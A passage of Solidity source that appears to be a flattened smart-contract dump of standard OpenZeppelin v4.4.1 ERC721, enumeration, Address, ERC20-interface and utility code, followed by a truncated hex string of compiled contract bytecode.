_allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101815760003560e01c8063715018a6116100d1578063a22cb4651161008a578063e985e9c511610064578063e985e9c514610451578063f0dc6d141461049a578063f2fde38b146104ba578063f3119682146104da57600080fd5b8063a22cb465146103f1578063b88d4fde14610411578063c87b56dd1461043157600080fd5b8063715018a61461035657806383547e8c1461036b5780638da5cb5b1461038b5780639456fbcc146103a957806395d89b41146103c9578063a0712d68146103de57600080fd5b80632f745c591161013e5780634f6ccce7116101185780634f6ccce7146102d65780636352211e146102f6578063690d83201461031657806370a082311461033657600080fd5b80632f745c591461027657806342842e0e14610296578063434f48c4146102b657600080fd5b806301ffc9a71461018657806306fdde03146101bb578063081812fc146101dd578063095ea7b31461021557806318160ddd1461023757806323b872dd14610256575b600080fd5b34801561019257600080fd5b506101a66101a1366004613106565b610507565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b506101d0610532565b6040516101b29190613709565b3480156101e957600080fd5b506101fd6101f8366004613140565b6105c4565b6040516001600160a01b0390911681526020016101b2565b34801561022157600080fd5b506102356102303660046130bf565b61065e565b005b34801561024357600080fd5b506008545b6040519081526020016101b2565b34801561026257600080fd5b50610235610271366004612f70565b610774565b34801561028257600080fd5b506102486102913660046130bf565b6107a5565b3480156102a257600080fd5b506102356102b1366004612f70565b61083b565b3480156102c257600080fd5b506102356102d1366004613140565b610856565b3480156102e257600080fd5b506102486102f1366004613140565b61094c565b34801561030257600080fd5b506101fd610311366004613140565b6109df565b34801561032257600080fd5b50610235610331366004612f22565b610a56565b34801561034257600080fd5b50610248610351366004612f22565b610ad4565b34801561036257600080fd5b50610235610b5b565b34801561037757600080fd5b50610235610386366004613172565b610b91565b34801561039757600080fd5b50600b546001600160a01b03166101fd565b3480156103b557600080fd5b506102356103c4366004612f3d565b610c53565b3480156103d557600080fd5b506101d0610d0f565b6102356103ec366004613140565b610d1e565b3480156103fd57600080fd5b5061023561040c366004613088565b610e20565b34801561041d57600080fd5b5061023561042c366004612fac565b610e2b565b34801561043d57600080fd5b506101d061044c366004613140565b610e5d565b34801561045d57600080fd5b506101a661046c366004612f3d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156104a657600080fd5b506101d06104b5366004613140565b611219565b3480156104c657600080fd5b506102356104d5366004612f22565b611314565b3480156104e657600080fd5b506104fa6104f5366004613140565b6113af565b6040516101b291906136bc565b60006001600160e01b0319821663780e9d6360e01b148061052c575061052c826117bb565b92915050565b60606000805461054190613988565b80601f016020809104026020016040519081016040528092919081815260200182805461056d90613988565b80156105ba5780601f1061058f576101008083540402835291602001916105ba565b820191906000526020600020905b81548152906001019060200180831161059d57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166106425760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610669826109df565b9050806001600160a01b0316836001600160a01b031614156106d75760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610639565b336001600160a01b03821614806106f357506106f3813361046c565b6107655760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610639565b61076f838361180b565b505050565b61077e3382611879565b61079a5760405162461bcd60e51b8152600401610639906137a3565b61076f838383611970565b60006107b083610ad4565b82106108125760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610639565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b61076f83838360405180602001604052806000815250610e2b565b6002600a5414156108a95760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610639565b6002600a55600b546001600160a01b031633146108d85760405162461bcd6